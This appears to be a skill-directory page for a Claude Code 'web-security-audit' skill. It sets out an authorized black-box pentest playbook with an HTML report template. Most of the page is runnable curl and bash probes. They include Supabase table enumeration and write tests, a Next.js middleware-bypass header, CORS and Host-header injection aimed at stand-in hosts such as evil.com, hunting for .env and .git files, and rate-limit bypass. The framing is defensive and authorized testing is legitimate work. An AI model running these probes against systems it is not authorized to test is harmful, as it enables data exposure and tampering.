mcpField
W
web-security-audit

web-security-audit

github.com/angelapaia安全1449 次安装29 周前更新
代码仓库

关于 web-security-audit

web-security-audit 是一项外部黑盒 Web 安全审计技能,面向获授权的网站测试,依据所述 OWASP Top 10 2025 和 PTES 流程开展检查。它涵盖多种 Web 技术,并生成西班牙语 HTML 报告。

主要功能

  1. 01测试前确认审计授权与限制
  2. 02检查安全响应头、DNS 和站点路径
  3. 03扫描 JavaScript 中暴露的密钥
  4. 04按技术栈执行专项检查
  5. 05生成西班牙语 HTML 报告

适用场景

  1. 01审计获授权的网站安全配置
  2. 02检查前端资源是否暴露密钥
  3. 03排查 Supabase 或框架相关风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/angelapaia/web-security-audit-skill --skill web-security-audit

安装后在 Claude Code 中输入/web-security-audit确认已加载。

详细介绍

Web Security Audit — 专业黑盒渗透测试

基于 OWASP Top 10 2025、PTES 和生产环境实际渗透测试经验(Frontera、Tripath)的外部 Web 安全审计。涵盖 Next.js、React、Vue、WordPress、Django、Rails、Laravel 和任何现代 Web 技术栈。生成专业的西班牙语 HTML 报告。

背景及其重要性

现代网站的攻击面极其庞大:开放的 API、RLS 配置错误的数据库、缺失的安全标头,以及流行框架中的 CVE。具备基础知识的攻击者只需使用 curl,就能在几分钟内利用这些漏洞。此技能将专业渗透测试人员会执行的工作系统化,并以可重复、文档化的形式呈现。

执行流程

阶段 0:授权(必须)

开始任何测试前,向用户确认:

  1. 是否获得网站所有者授权,可以审计该 URL
  2. 有哪些限制(不创建账户、不触碰生产环境等)
  3. 报告语言(默认:西班牙语)

如果没有明确授权,则不要继续。

阶段 1:侦察

使用 Bash 并行执行以下 4 个子阶段:

1A — 安全标头:

curl -sI "https://TARGET"

标头检查清单(每个缺失项都是一个发现):

标头预期值缺失时的严重性
Strict-Transport-Securitymax-age>=31536000; includeSubDomains中
Content-Security-Policy限制性策略,不含 unsafe-inline高
X-Frame-OptionsDENY(SAMEORIGIN = 中)中
X-Content-Type-Optionsnosniff低
Referrer-Policystrict-origin-when-cross-origin 或更严格低
Permissions-Policy禁用 camera、microphone、geolocation低
X-Powered-By不应存在高(信息泄露)
Server不应泄露确切版本低

1B — 技术栈检测:

PAGE=$(curl -s "https://TARGET")
# Detectar frameworks
echo "$PAGE" | grep -oiE '(_next/|__next|nuxt|vue|angular|react|svelte|gatsby|remix|astro|wordpress|wp-content|wp-includes|django|laravel|rails|flask|express)' | sort -u
# Scripts externos (tracking, analytics, APIs)
echo "$PAGE" | grep -oE 'https?://[^"'\''> ]+\.js' | sort -u
# Buscar Supabase, Firebase, Stripe, etc.
echo "$PAGE" | grep -oiE '(supabase|firebase|googleapis|stripe|algolia|sentry|mixpanel|amplitude|segment|intercom|crisp|hubspot)' | sort -u

1C — DNS 和基础设施:

dig TARGET A +short
dig TARGET MX +short
dig TARGET TXT +short
dig TARGET NS +short
# Detectar CDN (Cloudflare, Vercel, etc.)

1D — robots.txt 和 sitemap:

curl -s "https://TARGET/robots.txt"
curl -s "https://TARGET/sitemap.xml" | head -50
阶段 2:搜索 JavaScript 中的机密信息

客户端 JS 包中通常包含 API 密钥、数据库 URL 和令牌。这是攻击者最先检查的内容。

# Descargar todos los chunks JS
CHUNKS=$(curl -s "https://TARGET" | grep -oE '(src="|href=")[^"]*\.js' | sed 's/src="//;s/href="//' | sort -u)
mkdir -p /tmp/audit_js
for chunk in $CHUNKS; do
  fname=$(basename "$chunk" | head -c 50)
  curl -s "https://TARGET${chunk}" > "/tmp/audit_js/${fname}" 2>&1
done

在下载的文件中搜索以下模式:

# Supabase / Firebase keys
grep -rhoiE 'eyJ[A-Za-z0-9_/+-]{30,}' /tmp/audit_js/ | sort -u
grep -rhoiE 'sb_publishable[A-Za-z0-9_-]+' /tmp/audit_js/
grep -rhoiE 'AIza[A-Za-z0-9_-]{35}' /tmp/audit_js/        # Firebase
grep -rhoiE 'sk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/       # Stripe secret
grep -rhoiE 'pk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/       # Stripe public
# URLs internas
grep -rhoiE 'https?://[a-z0-9.-]+\.(supabase\.co|firebaseio\.com|firebaseapp\.com)' /tmp/audit_js/ | sort -u
# Env vars
grep -rhoiE 'NEXT_PUBLIC_[A-Z_]+' /tmp/audit_js/ | sort -u

如果发现 Supabase JWT,则解码以获取 project ref:

echo "JWT_TOKEN" | cut -d. -f2 | python3 -c "import sys,base64,json; p=sys.stdin.read().strip(); p+='='*(-len(p)%4); print(json.dumps(json.loads(base64.urlsafe_b64decode(p)),indent=2))"
阶段 3:路由枚举

使用外部脚本,避免 shell 转义问题:

cat > /tmp/audit_routes.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in /admin /login /register /signup /api /api/auth /api/auth/callback /api/users /api/admin /api/admin/users /api/rooms /api/bookings /api/payments /api/webhooks /api/stripe /api/contact /api/newsletter /dashboard /panel /perfil /profile /account /settings /checkout /booking /reserva /mis-reservas /.env /.env.local /.env.production /.git/config /.git/HEAD /graphql /swagger /api-docs /health /status /_next/data /debug /info /wp-admin /wp-login.php /wp-json /xmlrpc.php /phpmyadmin /adminer /server-status /server-info; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}${path}")
  if [ "$code" != "404" ] && [ "$code" != "000" ]; then
    echo "  ${path} -> HTTP ${code}"
  fi
done
SCRIPT
chmod +x /tmp/audit_routes.sh
bash /tmp/audit_routes.sh "TARGET"

对结果分类:

  • 应要求身份验证却返回 200 的路由 = 高
  • 可访问的管理路由 = 严重
  • 可访问的 .env、.git = 严重
  • 无需身份验证即可访问的 API 端点 = 高
阶段 4:Supabase 深度审计

仅在阶段 2 检测到 Supabase 时执行。定义变量:

SUPA_URL="https://PROJECT_REF.supabase.co"  # o custom domain
ANON_KEY="eyJ..."  # del JS

4.1 — 利用错误提示枚举表:

for tbl in users profiles public_users community_profiles rooms listings bookings reservations payments transactions properties apartments tenants landlords owners contracts messages chats notifications reviews verifications documents invoices blog_posts leads contacts waitlist settings admins; do
  result=$(curl -s "${SUPA_URL}/rest/v1/${tbl}?limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}")
  if echo "$result" | grep -q "PGRST"; then
    hint=$(echo "$result" | grep -oE '"hint":"[^"]*"' | head -1)
    [ -n "$hint" ] && echo "  ${tbl}: NO EXISTE ${hint}"
  elif echo "$result" | grep -q "permission denied\|row-level security"; then
    echo "  ${tbl}: PROTEGIDA (RLS activo) ✓"
  elif echo "$result" | grep -q "restricted"; then
    echo "  ${tbl}: PROYECTO SUSPENDIDO/RESTRINGIDO"
  elif [ "$result" = "[]" ]; then
    echo "  ${tbl}: ACCESIBLE (vacia)"
  else
    echo "  ${tbl}: *** ACCESIBLE CON DATOS *** — $(echo "$result" | wc -c) bytes"
  fi
done

4.2 — 统计每个可访问表中的记录数:

curl -s "${SUPA_URL}/rest/v1/TABLE?select=id" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Prefer: count=exact" -H "Range: 0-0" -I | grep -i content-range

4.3 — 写入测试(INSERT/UPDATE/DELETE):

# INSERT — usar datos dummy
curl -s -X POST "${SUPA_URL}/rest/v1/TABLE" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test_field":"SECURITY_AUDIT_TEST"}'
# Si funciona = CRITICO. Intentar DELETE inmediato para limpiar.

# UPDATE — cambiar campo de un registro conocido
curl -s -X PATCH "${SUPA_URL}/rest/v1/TABLE?id=eq.KNOWN_ID" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -d '{"field":"AUDIT_TEST"}'
# Si funciona = CRITICO. REVERTIR inmediatamente.

4.4 — 公开的身份验证配置:

curl -s "${SUPA_URL}/auth/v1/settings" -H "apikey: ${ANON_KEY}"

检查:

  • disable_signup: false + 平台已关闭 = 高(意外开放注册)
  • mailer_autoconfirm: true = 高(账户未经电子邮件验证)
  • 意外的 OAuth 提供商 = 中

4.5 — 开放注册测试:

curl -s -X POST "${SUPA_URL}/auth/v1/signup" \
  -H "apikey: ${ANON_KEY}" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"AuditTest2026!"}'

如果返回包含 UUID 的用户对象 = 高(任何人都可以创建账户)

4.6 — Storage 存储桶:

curl -s "${SUPA_URL}/storage/v1/bucket" -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}"
# Para cada bucket encontrado, intentar listar archivos:
curl -s "${SUPA_URL}/storage/v1/object/list/BUCKET_NAME" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -d '{"prefix":"","limit":20}'

4.7 — RPC 函数:

for fn in get_users get_all_users admin_get_users export_users get_user_emails list_users get_members get_subscribers get_leaderboard get_user_tier; do
  result=$(curl -s -X POST "${SUPA_URL}/rest/v1/rpc/${fn}" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
    -H "Content-Type: application/json" -d '{}')
  echo "  rpc/${fn}: $(echo "$result" | head -c 150)"
done
阶段 5:Next.js 专项检查

仅在检测到 Next.js 时执行。

5.1 — Middleware 绕过 CVE-2025-29927(严重,CVSS 9.1):

# Comparar respuesta normal vs con header de bypass
NORMAL=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin")
BYPASS=$(curl -s -o /dev/null -w "%{http_code}" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "https://TARGET/admin")
echo "Normal: $NORMAL | Bypass: $BYPASS"
# Si NORMAL=307/401 pero BYPASS=200 → CRITICO (CVE confirmada)
# Si ambos son 200 → la ruta no tiene middleware (problema diferente)

测试以下变体:middleware、src/middleware、pages/_middleware

5.2 — RSC 数据泄露:

RSC=$(curl -s "https://TARGET" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%5D")
# Buscar datos sensibles en el payload
echo "$RSC" | grep -oiE '(email|password|secret|token|apikey|phone|dni|iban|credit|ssn)' | sort -u
# Probar en rutas protegidas tambien:
curl -s "https://TARGET/dashboard" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%7D%5D%7D%5D"

5.3 — Server Actions:

curl -s -X POST "https://TARGET" -H "Next-Action: 0000000000" -H "Content-Type: text/plain" -d '[]'
# "Server action not found" = endpoint existe (info disclosure menor)

5.4 — Source Maps:

for chunk in $(curl -s "https://TARGET" | grep -oE '/_next/static/chunks/[^"]+\.js' | sort -u); do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${chunk}.map")
  [ "$code" = "200" ] && echo "  SOURCE MAP EXPUESTO: ${chunk}.map"
done

Source map 可访问 = 中(暴露原始源代码)

阶段 6:WordPress 专项检查

仅在检测到 WordPress 时执行。

# Version de WP
curl -s "https://TARGET" | grep -oE 'content="WordPress [0-9.]+"'
curl -s "https://TARGET/wp-json/" | head -c 200
# xmlrpc activo (bruteforce vector)
curl -s -X POST "https://TARGET/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# Users enumeration
curl -s "https://TARGET/wp-json/wp/v2/users"
curl -s "https://TARGET/?author=1" -o /dev/null -w "%{redirect_url}"
# Login bruteforce protection
curl -s -X POST "https://TARGET/wp-login.php" -d "log=admin&pwd=wrongpass"
阶段 7:CORS
# Reflected origin (CRITICO si refleja con credentials)
curl -sI "https://TARGET" -H "Origin: https://evil-attacker.com" | grep -i "access-control"
# Null origin (exploitable via sandboxed iframe)
curl -sI "https://TARGET" -H "Origin: null" | grep -i "access-control"
# Subdomain wildcard
curl -sI "https://TARGET" -H "Origin: https://anything.TARGET" | grep -i "access-control"
# Prefix/suffix bypass
curl -sI "https://TARGET" -H "Origin: https://TARGET.evil.com" | grep -i "access-control"

如果有 API(Supabase 等),也要测试这些端点的 CORS:

  • API 中的 access-control-allow-origin: * = 高
  • Origin 被反射 + Access-Control-Allow-Credentials: true = 严重
阶段 8:身份验证与会话
# Cookies
curl -sI "https://TARGET" | grep -i "set-cookie"
# Cada cookie debe tener: Secure, HttpOnly, SameSite=Strict|Lax

# Open redirect
for param in redirect url next return_to redirect_uri callback goto dest; do
  loc=$(curl -s -o /dev/null -w "%{redirect_url}" "https://TARGET/login?${param}=https://evil.com")
  [ -n "$loc" ] && echo "OPEN REDIRECT: ${param} -> ${loc}"
done

# Password reset host injection
curl -s -X POST "https://TARGET/api/auth/reset-password" \
  -H "Host: evil.com" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'
阶段 9:HTTP 方法与错误处理
# Metodos HTTP peligrosos
for method in OPTIONS TRACE PUT DELETE PATCH; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://TARGET/")
  echo "  ${method}: HTTP ${code}"
done
# TRACE 200 = MEDIO, PUT/DELETE 200 inesperado = ALTO

# Error handling — provocar errores y buscar info leaks
curl -s "https://TARGET/api/users/undefined"
curl -s -X POST "https://TARGET/api/contact" -H "Content-Type: application/json" -d '{"invalid":'
# Stack traces, paths internos, versiones = MEDIO
阶段 10:速率限制
# Test basico — 20 peticiones rapidas
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code} " "https://TARGET/"
done
echo ""
# Si todos 200 = sin rate limiting = ALTO

# Bypass via X-Forwarded-For
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{http_code} " -H "X-Forwarded-For: 10.0.0.${i}" "https://TARGET/api/users"
done
阶段 11:绕过 Cloudflare/CDN

仅当检测到 Cloudflare 或其他 CDN 时。

# Buscar IP real via registros MX
dig MX TARGET +short
# Subdominios no proxied
for sub in mail ftp cpanel direct api staging dev test; do
  ip=$(dig +short ${sub}.TARGET 2>/dev/null)
  [ -n "$ip" ] && echo "  ${sub}.TARGET: ${ip}"
done
# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.TARGET&output=json" | python3 -c "import sys,json; [print(x['name_value']) for x in json.load(sys.stdin)]" 2>/dev/null | sort -u
阶段 12:敏感文件
cat > /tmp/audit_files.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in .env .env.local .env.production .env.development .git/config .git/HEAD .DS_Store wp-config.php server-status server-info debug info package.json composer.json Dockerfile docker-compose.yml .dockerignore backup.sql dump.sql database.sql db.sql; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}/${path}")
  if [ "$code" != "404" ] && [ "$code" != "000" ]; then
    echo "  ${path}: HTTP ${code}"
  fi
done
SCRIPT
bash /tmp/audit_files.sh "TARGET"

生成 HTML 报告

完成所有阶段后,按以下格式生成 HTML 文件。HTML 必须使用纯 CSS,不含 JavaScript(兼容 WhatsApp/Telegram),并采用深色主题。

报告结构:
  1. 页眉 — 日期、目标(URL)、总体严重程度、审计人员姓名
  2. 评分卡 — 4 张卡片:严重、高危、中危、正常(带计数)
  3. 执行摘要 — 用非技术语言写 2-3 句话,背景为红色渐变
  4. 类比说明 — 用蓝色区块解释发现的问题,把网站比作建筑、酒店等。根据业务类型调整类比
  5. 技术信息 — 包含技术栈、域名、DB、CDN、发现的密钥的表格
  6. 严重漏洞 — 带红色边框(#ff4444)的卡片,每项包含:描述性标题、通俗易懂的说明、<pre> 区块中的概念验证、建议的修复方案
  7. 高危漏洞 — 带橙色边框(#ff8c00)的卡片,结构相同
  8. 中危漏洞 — 带黄色边框(#f5a623)的卡片
  9. 做得好的方面 — 表格背景为绿色(#00c853),用于显示通过的项目
  10. 渗透测试结果 — 摘要表格:攻击 | 结果 | 严重程度(徽标)
  11. 复现命令 — 可展开的 <details><summary> 区块
  12. 行动计划 — 带彩色圆点的时间线:红色=立即,橙色=今天,黄色=本周,灰色=上线前
  13. 法律影响 — 适用时说明 RGPD、LOPD、ePrivacy。根据目标所在国家/地区调整
  14. 页脚 — “机密”、审计人员、日期
基础 CSS 样式:
  • 背景:#0a0a0a,文字:#e0e0e0
  • 严重:#ff4444,高危:#ff8c00,中危:#f5a623,正常:#00c853
  • Code/pre:字体 SF Mono, Fira Code, monospace,背景 #1a1a1a
  • 最大宽度:900px,适配移动设备
  • 徽标使用 border-radius 20px,颜色根据严重程度设置
保存到:
  • 如果有客户项目:~/Desktop/Empresa/SolutechIA/clientes/[CLIENTE]/
  • 如果没有:用户当前目录
  • 文件名:auditoria-seguridad-[dominio]-[YYYY-MM-DD].html

严重程度表

发现的问题严重程度
BBDD 未经身份验证即可访问(RLS 已禁用)严重
修改/删除其他用户的数据严重
付费内容可公开访问严重
中间件绕过(CVE-2025-29927)严重
JavaScript 中暴露 Service role key严重
已确认的 SQL 注入严重
.env 或 .git 可公开访问严重
意外开放注册高危
无需身份验证即可访问受保护路由(/admin、/dashboard)高危
缺少 Content-Security-Policy高危
缺少速率限制高危
CORS 反射 Origin + credentials高危
暴露 x-powered-by / Server 版本高危
身份验证配置公开(settings endpoint)高危
xmlrpc.php 已启用(WordPress)高危
通过 REST API 枚举 WP 用户高危
CORS 通配符且无 credentials中危
使用 X-Frame-Options SAMEORIGIN 而非 DENY中危
未征得 Cookie 同意即进行跟踪(Facebook Pixel 等)中危
Storage bucket 公开且文件可列出中危
暴露 Source map(可访问 .js.map)中危
错误处理泄露内部信息(stack trace)中危
缺少 HSTS中危
发现 Server Action endpoint中危
意外路由中的 PUT/DELETE 返回 200中危
Server header 泄露确切版本低危
来自外部服务的占位图片低危

审计道德准则

制定这些准则,是因为如果安全审计操作不当,可能会造成实际损害。遵守这些准则,既能保护审计人员,也能保护网站所有者。

  1. 仅进行最小化概念验证——确认漏洞存在即可,不要进一步利用
  2. 立即撤销审计过程中所做的任何修改(如果 UPDATE 成功,则恢复原始值)
  3. 不创建真实账户——使用 @nonexistent-domain.invalid 邮箱
  4. 不外传或存储用户的真实个人数据
  5. 不执行拒绝服务攻击,也不进行激进的负载测试
  6. 记录每个步骤,确保可复现
  7. 如果发现严重问题,立即通知所有者
  8. 报告属于机密,仅供获授权的所有者查看
  9. 完成后清理临时文件:rm -rf /tmp/audit_*

评论

支持 Markdown